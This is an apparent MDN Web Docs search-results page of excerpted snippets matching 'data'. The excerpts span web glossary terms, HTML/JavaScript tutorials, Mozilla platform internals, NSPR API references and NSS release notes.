rtcp periodically transmits control packets to all of an rtp session's participants, using the same mechanism that is being used to transmit the data packets.
... that underlying protocol handles the multiplexing of the data and control packets and may use separate network ports for each type of packet.
Round Trip Time (RTT) - MDN Web Docs Glossary: Definitions of Web-related terms
round trip time (rtt) is the length time it takes for a data packet to be sent to a destination plus the time it takes for an acknowledgment of that packet to be received back at the origin.
... $ ping example.com ping example.com (216.58.194.174): 56 data bytes 64 bytes from 216.58.194.174: icmp_seq=0 ttl=55 time=25.050 ms 64 bytes from 216.58.194.174: icmp_seq=1 ttl=55 time=23.781 ms 64 bytes from 216.58.194.174: icmp_seq=2 ttl=55 time=24.287 ms 64 bytes from 216.58.194.174: icmp_seq=3 ttl=55 time=34.904 ms 64 bytes from 216.58.194.174: icmp_seq=4 ttl=55 time=26.119 ms --- google.com ping statistics --- 5 packets transmitted, 5 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 23.781/26.828/34.904/4.114 ms in the above example, the average round trip time is shown on the final line as 26.8ms.
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
html should be coded to represent the data that will be populated and not based on its default presentation styling.
...e as follows: search engines will consider its contents as important keywords to influence the page's search rankings (see seo) screen readers can use it as a signpost to help visually impaired users navigate a page finding blocks of meaningful code is significantly easier than searching though endless divs with or without semantic or namespaced classes suggests to the developer the type of data that will be populated semantic naming mirrors proper custom element/component naming when approaching which markup to use, ask yourself, "what element(s) best describe/represent the data that i'm going to populate?" for example, is it a list of data?; ordered, unordered?; is it an article with sections and an aside of related information?; does it list out definitions?; is it a figure or imag...
Server - MDN Web Docs Glossary: Definitions of Web-related terms
a hardware server is a shared computer on a network, usually powerful and housed in a data center.
... for example: an internet-connected web server is sending a html file to your browser software so that you can read this page local area network server for file, name, mail, print, and fax minicomputers, mainframes, and super computers at data centers learn more general knowledge introduction to servers server (computing) on wikipedia ...
Session Hijacking - MDN Web Docs Glossary: Definitions of Web-related terms
the attacker steals a valid session id in order to break into the system and snoop data.
... protection against session hijacking create a secure communication channel with ssh (secure shell) pass authentication cookies over https connection implement logout functionality so the user can end the session generate the session id after successful login pass encrypted data between the users and the web server use a string or long random number as a session key learn more general knowledge session hijacking on wikipedia ...
Symmetric-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
symmetric-key algorithms should be secure when used properly and are highly efficient, so they can be used to encrypt large amounts of data without having a negative effect on performance.
... most symmetric-key algorithms currently in use are block ciphers: this means that they encrypt data one block at a time.
Synthetic monitoring - MDN Web Docs Glossary: Definitions of Web-related terms
the traffic measured is not of your actual users, but rather synthetically generated traffic collecting data on page performance.
... unlike rum, synthetic monitoring provides a narrow view of performance that doesn't account for user differences, making it useful in getting basic data about an application's performance and spot-checking performance in development environments.
TCP - MDN Web Docs Glossary: Definitions of Web-related terms
tcp (transmission control protocol) is an important network protocol that lets two hosts connect and exchange data streams.
... tcp guarantees the delivery of data and packets in the same order as they were sent.
Texel - MDN Web Docs Glossary: Definitions of Web-related terms
this is one of the main differences between texel’s and pixels, pixels are image data.
... texel components are made up of subjective data, therefore they can be an image as well as a depth map.
Transmission Control Protocol (TCP) - MDN Web Docs Glossary: Definitions of Web-related terms
tcp encapsulates higher level protocol data such as http and, smtp (email) .
...the three message mechanism is designed for the two computers that want to pass information back and forth and can negotiate the parameters of the connection before transmitting data such as http browser requests.
Type conversion - MDN Web Docs Glossary: Definitions of Web-related terms
type conversion (or typecasting) means transfer of data from one data type to another.
... implicit conversion happens when the compiler automatically assigns data types, but the source code can also explicitly require a conversion to take place.
Type coercion - MDN Web Docs Glossary: Definitions of Web-related terms
type coercion is the automatic or implicit conversion of values from one data type to another (such as strings to numbers).
... type conversion is similar to type coercion because they both convert values from one data type to another with one key difference — type coercion is implicit whereas type conversion can be either implicit or explicit.
Unicode - MDN Web Docs Glossary: Definitions of Web-related terms
before unicode, it was difficult and error-prone to mix languages in the same data.
...if it was not clearly marked which parts of the data were in which character set, other programs and computers would display the text incorrectly, or damage it during processing.
WebSockets - MDN Web Docs Glossary: Definitions of Web-related terms
websocket is a protocol that allows for a persistent tcp connection between server and client so they can exchange data at any time.
...through websocket, servers can pass data to a client without prior client request, allowing for dynamic content updates.
XML - MDN Web Docs Glossary: Definitions of Web-related terms
the information technology (it) industry uses many languages based on xml as data-description languages.
...moreover, html is a presentation language, whereas xml is a data-description language.
Array - MDN Web Docs Glossary: Definitions of Web-related terms
an array is an ordered collection of data (either primitive or object depending upon the language).
... what an array in javascript looks like: let myarray = [1, 2, 3, 4]; let catnamesarray = ["jacqueline", "sophia", "autumn"]; //arrays in javascript can hold different types of data, as shown above.
beacon - MDN Web Docs Glossary: Definitions of Web-related terms
beacons are often included within third party scripts for collecting user data, performance metrics and error reporting.
... there is a w3c draft beacon specification to standardize the beacon as an interface to asynchronously transfer http data from user agent to a web server prior to page load without negative performance impact.
buffer - MDN Web Docs Glossary: Definitions of Web-related terms
a buffer is a storage in physical memory used to temporarily store data while it is being transferred from one place to another.
... learn more general knowledge data buffer on wikipedia ...
lossy compression - MDN Web Docs Glossary: Definitions of Web-related terms
lossy compression, or irreversible compression, is a data-compression method that uses inexact approximations and partial-data discarding to represent content.
... in simpler terms: lossy compression causes data from the initial file to be lost, possibly causing degradation in quality.
Protocol - MDN Web Docs Glossary: Definitions of Web-related terms
a protocol is a system of rules that define how data is exchanged within or between computers.
... communications between devices require that the devices agree on the format of the data that is being exchanged.
Mobile accessibility - Learn web development
user input on mobile devices, inputting data tends to be more annoying for users than the equivalent experience on desktop computers.
...as an example, instead of getting users to fill out their job title each time using a regular text input, you could instead offer a <select> menu containing the most common options (which also helps with consistency in data entry), and offer an "other" option that displays a text field to type any outliers into.
Accessible multimedia - Learn web development
multimedia and accessibility so far in this module we have looked at a variety of content and what needs to be done to ensure its accessibility, ranging from simple text content to data tables, images, native controls such as form elements and buttons, and even more complex markup structures (with wai-aria attributes).
... chapter titles — chapter markers intended to help the user navigate the media resource implementing html5 video text tracks text tracks for displaying with html5 video need to be written in webvtt, a text format containing multiple strings of text along with metadata such as what time in the video you want each text string to be displayed, and even limited styling/positioning information.
WAI-ARIA basics - Learn web development
the paciello group has a fairly up-to-date post that provides data for this — see rough guide: browsers, operating systems and screen reader support updated.
...make a local copy of fake-div-buttons.html, and add role="button" to each button <div>, for example: <div data-message="this is from the first button" tabindex="0" role="button">click me!</div> now when you try this using a screenreader, you'll have buttons be reported using phrases like "click me!, button" — much better.
Test your skills: tables - Learn web development
align headings and data for columns containing numbers right.
... align headings and data for columns containing text left.
How much does it cost to do something on the Web? - Learn web development
“packaged” hosting when you want to publish a website, you could do everything by yourself: set up a database (if needed), content management system, or cms (like wordpress, dotclear, spip, etc.), upload pre-made or your own templates.
... must the website connect to your company’s it structure to gather content (say, internal data)?
What is a URL? - Learn web development
a protocol is a set method for exchanging or transferring data around a computer network.
... note: when specifying urls to load resources as part of a page (such as when using the <script>, <audio>, <img>, <video>, and the like), you should generally only use http and https urls, with few exceptions (one notable one being data:; see data urls).
How to structure a web form - Learn web development
ame="cardnumber"> </p> <p> <label for="date"> <span>expiration date:</span> <strong><abbr title="required">*</abbr></strong> <em>formatted as mm/dd/yyyy</em> </label> <input type="date" id="date" name="expiration"> </p> </section> the last section we'll add is a lot simpler, containing only a <button> of type submit, for submitting the form data.
... see also a list apart: sensible forms: a form usability checklist previous overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility table for form widgets ...
Styling web forms - Learn web development
these include: <input type="color"> date-related controls such as <input type="datetime-local"> <input type="range"> <input type="file"> elements involved in creating dropdown widgets, including <select>, <option>, <optgroup> and <datalist>.
... previous overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility table for form widgets ...
Getting started with the Web - Learn web development
do i have a data table?
...some examples could be games, things that happen when buttons are pressed or data is entered in forms, dynamic styling effects, animation, and much more.
Tips for authoring fast-loading HTML pages - Learn web development
tables are still considered valid markup but should be used for displaying tabular data.
... minify and compress svg assets svg produced by most drawing applications often contains unnecessary metadata which can be removed.
Advanced text formatting - Learn web development
w, stop poking me!'); }</code></pre> <p>you shouldn't use presentational elements like <code>&lt;font&gt;</code> and <code>&lt;center&gt;</code>.</p> <p>in the above javascript example, <var>para</var> represents a paragraph element.</p> <p>select all the text with <kbd>ctrl</kbd>/<kbd>cmd</kbd> + <kbd>a</kbd>.</p> <pre>$ <kbd>ping mozilla.org</kbd> <samp>ping mozilla.org (63.245.215.20): 56 data bytes 64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms</samp></pre> the above code will look like so: marking up times and dates html also provides the <time> element for marking up times and dates in a machine-readable format.
...metadata in html html text fundamentals creating hyperlinks advanced text formatting document and website structure debugging html marking up a letter structuring a page of content ...
Marking up a letter - Learn web development
metadata in html, html text fundamentals, creating hyperlinks, and advanced text formatting.
...metadata in html html text fundamentals creating hyperlinks advanced text formatting document and website structure debugging html marking up a letter structuring a page of content ...
Introduction to HTML - Learn web development
metadata in html the head of an html document is the part that is not displayed in the web browser when the page is loaded.
... it contains information such as the page <title>, links to css (if you want to style your html content with css), links to custom favicons, and metadata (data about the html, such as who wrote it, and important keywords that describe the document).
Structuring the web with HTML - Learn web development
css, and how to use it to style html (for example alter your text size and fonts used, add borders and drop shadows, layout your page with multiple columns, add animations and other visual effects.) javascript, and how to use it to add dynamic functionality to web pages (for example find your location and plot it on a map, make ui elements appear/disappear when you toggle a button, save users' data locally on their computers, and much much more.) modules this topic contains the following modules, in a suggested order for working through them.
... html tables representing tabular data on a webpage in an understandable, accessible way can be a challenge.
A first splash into JavaScript - Learn web development
the place where we'll be adding all our code is inside the <script> element at the bottom of the html: <script> // your javascript goes here </script> adding variables to store our data let's get started.
...nst guesses = document.queryselector('.guesses'); const lastresult = document.queryselector('.lastresult'); const loworhi = document.queryselector('.loworhi'); const guesssubmit = document.queryselector('.guesssubmit'); const guessfield = document.queryselector('.guessfield'); let guesscount = 1; let resetbutton; this section of the code sets up the variables and constants we need to store the data our program will use.
Solve common problems in your JavaScript code - Learn web development
(also see assignment operators) what data types can values have in javascript?
... json how do you structure json data, and read it from javascript?
Inheritance in JavaScript - Learn web development
objects are also very useful when you want to pass a collection of data from one place to another.
... in the next article we'll have a look at how to work with javascript object notation (json), a common data exchange format written using javascript objects.
JavaScript — Dynamic client-side scripting - Learn web development
here we teach object theory and syntax in detail, look at how to create your own objects, and explain what json data is and how to work with it.
... client-side web apis when writing client-side javascript for web sites or applications, you won't go very far before you start to use apis — interfaces for manipulating different aspects of the browser and operating system the site is running on, or even data from other web sites or services.
Multimedia: Images - Learn web development
you need to be considerate of data usage.
... many people are on capped data plans or even pay-as-you-go where they are literally paying by the megabyte.
The "why" of web performance - Learn web development
imagine loading that same site using tethered mobile data on a 9 year-old ipad while commuting home on public transportation.
...reducing the amount of data that passes between the client and the server lowers the costs to all parties.
Using Vue computed properties - Learn web development
vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
...currently, we're not actually tracking the "done" data in any fashion, so the number of completed items does not change.
Styling Vue components with CSS - Learn web development
vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
...this is where the scoped attribute can be useful — this attaches a unique html data attribute selector to all of your styles, preventing them from colliding globally.
Implementing feature detection - Learn web development
let's recap and look at the example we touched on in our handling common javascript problems — the geolocation api (which exposes available location data for the device the web browser is running on) has the main entry point for its use, a geolocation property available on the global navigator object.
...for example: modernizr.flexbox modernizr.websqldatabase modernizr.xhr2 modernizr.fetch the console will return true/false values to indicate whether your browser supports those features or not.
Accessibility/LiveRegionDevGuide
the actual object that change can then be found in the event.any_data field.
...the event.any_data field holds the entire text string while event.detail1 is the start index while event.detail2 is the text string length.
What to do and what not to do in Bugzilla
blocker blocks development and/or testing work critical crashes, loss of data, severe memory leak major major loss of function normal regular issue, some loss of functionality under specific circumstances minor minor loss of function, or other problem where easy workaround is present trivial cosmetic problem like misspelled words or misaligned text enhancement request for enhancement the blocker severity sh...
... bug reports about crashes, hangs, data-loss, or severe security exploits (e.g.
Choosing the right memory allocator
these should only be used to allocate objects that are guaranteed to have a shorter lifetime than the presshell in question (typically layout data structures), because the presshell destructor will wipe out the arena, leaving any pointers to memory allocated from it dangling.
...for data structures being passed across xpcom boundaries, use ns_alloc() instead.
Creating JavaScript callbacks in components
here is a very simple example of the observer pattern: [scriptable, uuid(...)] interface stringparserobserver { void onword(string word); }; [scriptable, uuid(...)] interface stringparser { void parse(string data); void addobserver(stringparserobserver observer); }; in this example, the stringparser will call the stringparserobserver.onword method whenever it finishes parsing a word found in the raw string data.
...so we could convert the example above to accept javascript functions in place of the stringparserobserver by making the following changes: [scriptable, function, uuid(...)] interface stringparserobserver : nsisupports { void onword(string word); }; [scriptable, uuid(...)] interface stringparser { void parse(string data); void addobserver(stringparserobserver observer); }; note the only change was adding function to the interface attributes of the callback interface.
Creating MozSearch plugins
the following xml is the bundled firefox 2 search plugin for searching using yahoo!: <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> <url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" /> <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value...
... <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>mdc</shortname> <description>mozilla developer center search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,ivborw0kggoaaaansuheugaaabaaaaaqcayaaaaf8%2f9haaaabgdbtueaak%2finwwk6qaaabl0rvh0u29mdhdhcmuaqwrvymugsw1hz2vszwfkexhjztwaaahwsurbvhjayvz%2f%2fz8djqaggjiqoe%2ffv2fv7oz8rays%2fn%2bvkfg%2fiynjfyd%2f1%2brvq7ffu3dpfpsbaaheahibcj85c8bn2nj4vwsdw%2f8zqlwkio8ccroqu0dxqlwrdshuwzbaaigjmtnnpgya9j8uqhfelwpxf2mideirksn9fwsjorkaeeam0dd4dzmaypi%2fg%2bqky4hh5waxgf8pdq0fgwj22d27cjadaaiirlmjo%2bm...
Debugging Chrome
i copied the d3d9.dll into both c:\users\jrmuizel\appdata\local\google\chrome sxs\application\22.0.1186.0 and c:\users\jrmuizel\appdata\local\google\chrome sxs\application\.
...i did trace_file=foo.txt and it created the trace file in "c:\users\jrmuizel\appdata\local\google\chrome sxs\application\22.0.1183.0\foo.txt".
Callgraph
the callgraph project uses gcc and treehydra to generate information about function and method calls at compile time, and aggregates it into a sqlite database.
... documentation installing callgraph download and installation of callgraph schema reference explanation of the database schema further details implementation ideas for callgraph ...
Experimental features in Firefox
nightly 55 no developer edition 55 no beta 55 no release 55 no preference name dom.payments.request.enabled and dom.payments.request.supportedregions basic card api extends the payment request api with dictionaries that define data structures describing card payment types and payment responses.
...this api is used to customize the handling of media-related notifications, to manage events and data useful for presenting a user interface for managing media playback, and to obtain media file metadata.
Limitations of chrome scripts
a common pattern here is to use the notificationcallbacks property of the nsihttpchannel to get the dom window that initiated the load, like this: observe: function (subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); var domwindow = httpchannel.notificationcallbacks.getinterface(ci.nsidomwindow); } } or this: observe: function (subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); var domwindow = httpchannel.not...
...in an http observer, you can get the browser message manager for the window using code like this: observe: function (subject, topic, data) { if (topic == "http-on-modify-request") { var httpchannel = subject.queryinterface(ci.nsihttpchannel); var loadcontext = httpchannel.notificationcallbacks.getinterface(ci.nsiloadcontext); // topframeelement is the <browser> element var topframeelement = loadcontext.topframeelement; var browsermm = topframeelement.messagemanager; console.log("browsermm: " + browsermm); ...
Frame script loading and lifetime
the script just writes "foo" to the command line: // chrome script var mm = gbrowser.selectedbrowser.messagemanager; mm.loadframescript('data:,dump("foo\\n")', true); loadframescript() takes two mandatory parameters: a url that points to the frame script you want to load a boolean flag, allowdelayedload note: if the message manager is a global frame message manager or a window message manager, loadframescript() may load the script multiple times, once in each applicable frame.
...for example, from bootstrap.js: services.mm.addmessagelistener( 'my-addon-id', { receivemessage: function() { console.log('incoming message from frame script:', amsg.data); } }, true // must set this argument to true, otherwise sending message from framescript will not work during and after the unload event on the contentmessagemanager triggers ); then in your frame script, listen for the unload event of the message manager (which is the global this), and sending a message.
Firefox and the "about" protocol
efox for enterprise policies about:preferences firefox settings (also available through firefox menu > options) about:privatebrowsing start page when opening a private window about:profiles display and manage firefox profiles about:protections privacy protections report consisting of enhanced tracking protection, firefox monitor and firefox lockwise data about:restartrequired a page users are sent to when firefox requires a restart due to an update about:reader indicates a web page has firefox reader view turned on.
...(question mark) > troubleshooting information) about:sync-log displays a synchronization protocol related to the sync feature about:telemetry displays telemetry data collected and sent to mozilla while firefox is running (in case the user enabled telemetry) about:url-classifier displays the status of the url classifier services that firefox uses (for example for safe browsing) about:webrtc information about webrtc usage about:welcome page first displayed when firefox is installed about:welcomeback information pa...
Firefox UI considerations for web developers
the data store provided by tippy top includes an optimized icon for each of the sites in the list; if the site is on this list, that icon is used.
... if tippy top doesn't include the site, firefox looks in its places data store for icons specified in the page's <head> element; if an svg icon is available, that icon is selected.
mozbrowsersecuritychange
secure: indicates that the data corresponding to the request was received over a secure channel.
... insecure: indicates that the data corresponding to the request was received over an insecure channel.
Overview of Mozilla embedding APIs
these classes provide a variety of string operations as well as dealing with the memory management issues of storing the underlying data.
...contract-id: ns_iunknowncontenttypehandler_contractid implemented interfaces: nsiunknowncontenttypehandler helperapp launch dialog contract-id: ns_externalhelperappservice_contractid implemented interfaces: nsiexternalhelperappservice preferences service the preferences service provides access to persistent data stored within a user's profile directory.
How to get a stacktrace for a bug report
the "details" button gives additional data about the incident, however this is not useful in a bug report.
... accessing crash report ids outside of firefox if you cannot load firefox at all you can find the crash report files at this location depending on your operating system: windows : %appdata%\mozilla\firefox\crash reports\submitted\ os x : ~/library/application support/firefox/crash reports/submitted/ linux : ~/.mozilla/firefox/crash reports/submitted/ each file in this folder contains one submitted crash report id.
How to implement a custom autocomplete search component
the json is converted into an array and used // as the source of match data.
...utocomplete" autocompletesearch="simple-autocomplete" showcommentcolumn="true" autocompletesearchparam='[{"value":"mark","comment":"cool dude"},{"value":"mary","comment":"nice lady"},{"value":"jimmy","comment":"very uncool guy"},{"value":"jimbo","comment":null}]' /> the component uses the autocompletesearchparam attribute or searchparam property to allow the developer to define a set of data to use for autocompletion.
Internationalized Domain Names (IDN) Support in Mozilla Browsers
arabic and hebrew), and check whether or not unassigned characters in the unicode repertoire are used -- allowing them for "query strings" but disallowing them for "stored strings" such as the data input for domain name registration.
...omain names with latin 1 accented characters) http://www.nunames.nu/lldemo/default.htm (domain names in other languages) on july 10, 2003 and thereafter, you can access a large number of japanese domain name sites under the .jp top domain with no further setting on netscape 7.1/mozilla 1.4: http://mitsuketa-nihongo.jp race (row-based ascii compatible encoding) almost all idn registration data are expected to change to punycode by the end of 2003.
InstallListener
void ondownloadstarted( in addoninstall install ) parameters install the addoninstall representing the install ondownloadprogress() called as data is received during a download.
... check the progress property for the amount of data downloaded and the maxprogress property for the total data expected.
DownloadList
removefinished() removes downloads from the list that have finished, have failed, or have been canceled without keeping partial data.
...this method finalizes each removed download, ensuring that any partially downloaded data associated with it is also removed.
Following the Android Toasts Tutorial from a JNI Perspective
lo toast!'; var text = 'hello toast!'; // int duration = toast.length_short; var duration = toast.length_short; // toast toast = toast.maketext(context, text, duration); var toast = toast.maketext(context, text, duration); // toast.show(); toast.show(); } finally { if (my_jenv) { jni.unloadclasses(my_jenv); } } references oracle :: jni types and data structures and determine the signature of a method - these articles are crucial because it tells us how to create our jni signatures.
... we cannot use the typical js-ctypes data types.
PerfMeasurement.jsm
method overview static bool canmeasuresomething(); void reset(); void start(); void stop(); member fields recorded data variables these variables provide access to the recorded data.
...stop() stops measuring performance data.
Using JavaScript code modules
any modifications to data, objects, or functions will be available in any scope that has imported the module.
... scope 1: components.utils.import("resource://app/my_module.jsm"); alert(bar.size + 3); // displays "6" bar.size = 10; scope 2: components.utils.import("resource://app/my_module.jsm"); alert(foo()); // displays "foo" alert(bar.size + 3); // displays "13" this sharing behavior can be used to create singleton objects that can share data across windows and between xul script and xpcom components.
WebRequest.jsm
it also documents two data structures that vary from one event to another: the opt_extrainfospec argument to addlistener() the properties of the argument passed to the listener.
... onbeforesendheaders this event is triggered before sending any http data, but after all http headers are available.
Localizing XLIFF files for iOS
firefox for ios uses the xliff xml-based file format to hold and transfer localization data.
...the goal of the standard is to have an xml-based format to use when exchanging localization data between tools without the potential of data loss or corruption.
Localizing with Mozilla Translator
this will remove obsolete strings and files from the internal database of mt, and will present you with a list of new and updated strings.
... if you are starting a new localization, all strings will be marked as new or updated.mt puts a fuzzy flag on each flag and saves it in its database.
Mozilla Framework Based on Templates (MFBT)
the mozilla framework based on templates ("mfbt") is the central repository for macros, functions, and data structures used throughout mozilla code, including in the javascript engine.
...(an unnamed temporary lives for a shorter period of time than the scope where it's found, so it usually isn't what was desired.) data structures linkedlist.h implements a type-safe doubly-linked list class.
Mozilla Port Blocking
background on 08/15/2001, cert issued a vulnerability note vu#476267 for a "cross-protocol" scripting attack, known as the html form protocol attack which allowed sending arbitrary data to most tcp ports.
...network.security.ports.banned.override, "port1,port2"); disabling ports user_pref("network.security.ports.banned", "port3,port4"); blocked ports ports blocked by default in mozilla: port service 1 tcpmux 7 echo 9 discard 11 systat 13 daytime 15 netstat 17 qotd 19 chargen 20 ftp data 21 ftp control 22 ssh 23 telnet 25 smtp 37 time 42 name 43 nicname 53 domain 77 priv-rjs 79 finger 87 ttylink 95 supdup 101 hostriame 102 iso-tsap 103 gppitnp 104 acr-nema 109 pop2 110 ...
Intel Power Gadget
the main strengths of this tool are (a) it works on windows, unlike most other power-related tools, and (b) it shows this data in graph form, which is occasionally useful.
... (an energia dashboard can be seen here; please note that the data has not been updated since early 2014.) version 3.0 (available on mac and windows, but not on linux) also exposes an api from which the same measurements can be extracted programmatically.
Memory Profiler
start - start profiling stop - stop profiling reset - clear profile data when profiler is stopped profile data is accumulated and resumed after start.
... understanding the profiles traditional memory analysis tools look at the data.
about:memory
note that in both cases the generated data contains privacy-sensitive details such as the full list of the web pages you have open in other tabs.
...this will cause the privacy-sensitive data to be stripped out, but it may also make it harder for others to investigate the memory usage.
Performance
profiling with zoom zoom is a profiler for linux done by the people who made shark measuring performance using the perfmeasurement.jsm code module using perfmeasurement.jsm to measure performance data in your javascript code.
... timerfirings logging (all platforms) timerfirings logging is a built-in logging mechanism that prints data on every time fired.
Patches and pushes
<searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> ***this tag is optional***<url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" />*** <url type="text/html" method="get" template="http://search.yahoo.com/sea...
...upload your plugins icon image to data kitchen to obtain its uri id and add to the xml file within the image tag.
Crash reporting
crash data submitted using the mozilla crash reporter is located on crash-stats.
... finally, a set of mozilla employees have access to directly query the underlying data in either sql summary or using mapreduce on the storage cluster.
L20n
it allows to adapt your web application not only to languages and cultures, but also contextual data, user gender and screen dimensions.
... l20n and translation memory exchange (tmx) how l20n impacts the translation memory exchange standard for translation memory data.
Leak And Bloat Tests
the method of testing memory bloat and leaks will be the same sequence of events, using the same set of test data.
...see debugging memory leaks for more information on what to do with this data.
NSPR Poll Method
for example, consider an i/o layer that buffers input data.
... if the caller wishes to test for read ready (that is, pr_poll_read is set in in_flags) and the layer has input data buffered, the poll method would set the pr_poll_read event in *out_flags.
Optimizing Applications For NSPR
at thread switch time, the stack of the current running thread is copied to other storage associated with that thread and the about-to-be-dispatched thread's stack data is copied back onto the windows stack just before the thread is given control.
...however, another thread does not see the data as intended because the stack has been swapped out to the shadow stack and the current thread's stack now occupies the windows stack.
Cached Monitors
pr_cnotify notifies a thread waiting for a change in the state of monitored data.
... pr_cnotifyall notifies all the threads waiting for a change in the state of monitored data.
Locks
when a programmer associates a mutex with an arbitrary collection of data, the mutex provides a protective monitor around the data.
... in general, a monitor is a conceptual entity composed of a mutex, one or more condition variables, and the monitored data.
PLHashNumber
plhashnumber is the data type of the return value of a hash function.
... the macro pl_hash_bits is the size (in bits) of the plhashnumber data type and has the value of 32.
PRFilePrivate
layer-dependent implementation data.
... syntax #include <prio.h> typedef struct prfileprivate prfileprivate; description a layer implementor should collect all the private data of the layer in the prfileprivate structure.
PRNetAddr
syntax #include <prio.h> union prnetaddr { struct { pruint16 family; char data[14]; } raw; struct { pruint16 family; pruint16 port; pruint32 ip; char pad[8]; } inet; #if defined(_pr_inet6) struct { pruint16 family; pruint16 port; pruint32 flowinfo; pripv6addr ip; } ipv6; #endif /* defined(_pr_inet6) */ }; typedef union prnetaddr prnetaddr; fields the structure has the following fields: family address family: pr_af_inet|pr_af_inet6 for raw.family, pr_af_inet for inet.family, pr_af_inet6 for ipv6.family.
... data raw address data.
PRThreadPrivateDTOR
syntax #include <prthread.h> typedef void (pr_callback *prthreadprivatedtor)(void *priv); description until the data associated with an index is actually set with a call to pr_setthreadprivate, the value of the data is null.
... if the data associated with the index is not null, nspr passes a reference to the data to the destructor function when the thread terminates.
PR_GetHostByAddr
buf a pointer to a buffer, allocated by the caller, that is filled in with host data on output.
... all of the pointers in the hostentry structure point to data saved in this buffer.
PR_GetHostByName
buf a pointer to a buffer, allocated by the caller, that is filled in with host data on output.
... all of the pointers in the hostentry structure point to data saved in this buffer.
PR_NotifyCondVar
notifies a condition variable of a change in its associated monitored data.
... notification of a condition variable signals a change of state in some monitored data.
PR_Poll
the in_flags field of the prpolldesc data structure should be set to the i/o events (readable, writable, exception, or some combination) that the caller is interested in.
... on successful return, the out_flags field of the prpolldesc data structure is set to indicate what kind of i/o is ready on the respective descriptor.
PR_Read
buf a pointer to a buffer to hold the data read in.
... on output, the buffer contains the data.
PR_Sync
synchronizes any buffered data for a file descriptor to its backing device (disk).
... description pr_sync writes all the in-memory buffered data of the specified file to the disk.
Certificate functions
the public functions listed here are used to interact with certificate databases.
...if you need to verify for multiple usages use cert_verifycertificatenow cert_verifyocspresponsesignature mxr 3.6 and later cert_verifysigneddata mxr 3.4 and later cert_verifysigneddatawithpublickey mxr 3.7 and later cert_verifysigneddatawithpublickeyinfo mxr 3.7 and later nss_cmpcertchainwcanames mxr 3.2 and later nss_findcertkeatype mxr 3.2 and later ...
4.3 Release Notes
release date: 01 april 2009 introduction network security services for java (jss) 4.3 is a minor release with the following new features: sqlite-based shareable certificate and key databases libpkix: an rfc 3280 compliant certificate path validation library pkcs11 needslogin method support hmacsha256, hmacsha384, and hmacsha512 support for all nss 3.12 initialization options jss 4.3 is tri-licensed under mpl 1.1/gpl 2.0/lgpl 2.1.
... new sqlite-based shareable certificate and key databases by prepending the string "sql:" to the directory path passed to configdir parameter for crypomanager.initialize method or using the nss environment variable nss_default_db_type.
NSS 3.12.9 release notes
bug 609068: implement j-pake in freebl bug 607058: crash [@ nss_cms_decoder_work_data] bug 613394: november/december 2010 batch of nss root ca changes bug 610843: need way to recover softoken in child after fork() bug 617492: add pk11_keygenwithtemplate function to pk11wrap (for firefox sync) bug 610162: sha-512 and sha-384 hashes are incorrect for inputs of 512mb or larger when running under windows and other 32-bit platforms (fx 3.6.12 and 4.0b6) bug 518551: vfychain c...
... bug 596798: win_rand.c (among others) uses unsafe _snwprintf bug 597622: do not use the sec_error_bad_info_access_location error code for bad crl distribution point urls bug 619268: memory leaks in cert_changecerttrust and cert_savesmimeprofile bug 585518: addtrust qualified ca root serial wrong in certdata.txt trust entry bug 337433: need cert_findcertbynicknameoremailaddrbyusage bug 592939: expired cas in certdata.txt documentation <for a="" class="new " documentation="" href="/en/index.html#documentation" list="" nss="" of="" pages="" primary="" rel="internal" see="" the="" title="en/index.html#documentation">nss documentation.
NSS 3.14.3 release notes
new pkcs #11 mechanisms ckm_nss_hmac_constant_time - constant-time hmac operation for use when verifying a padded, mac-then-encrypted block of data.
... ckm_nss_ssl3_mac_constant_time - constant-time mac operation for use when verifying a padded, mac-then-encrypted block of data using the sslv3 mac.
NSS 3.15.4 release notes
bug 919877 - (cve-2013-1740) when false start is enabled, libssl will sometimes return unencrypted, unauthenticated data from pr_recv new in nss 3.15.4 new functionality implemented ocsp querying using the http get method, which is the new default, and will fall back to the http post method.
... added the --empty-password command-line option to certutil, to be used with -n: use an empty password when creating a new database.
NSS 3.16.2 release notes
the certutil commands supports generic certificate extensions, by loading binary data from files, which have been prepared using external tools, or which have been extracted and dumped to file from other existing certificates: --dump-ext-val oid --extgeneric oid:critical-flag:filename[,oid:critical-flag:filename]...
... on linux, nss is built with the -ffunction-sections -fdata-sections compiler flags and the --gc-sections linker flag to allow unused functions to be discarded.
NSS 3.18 release notes
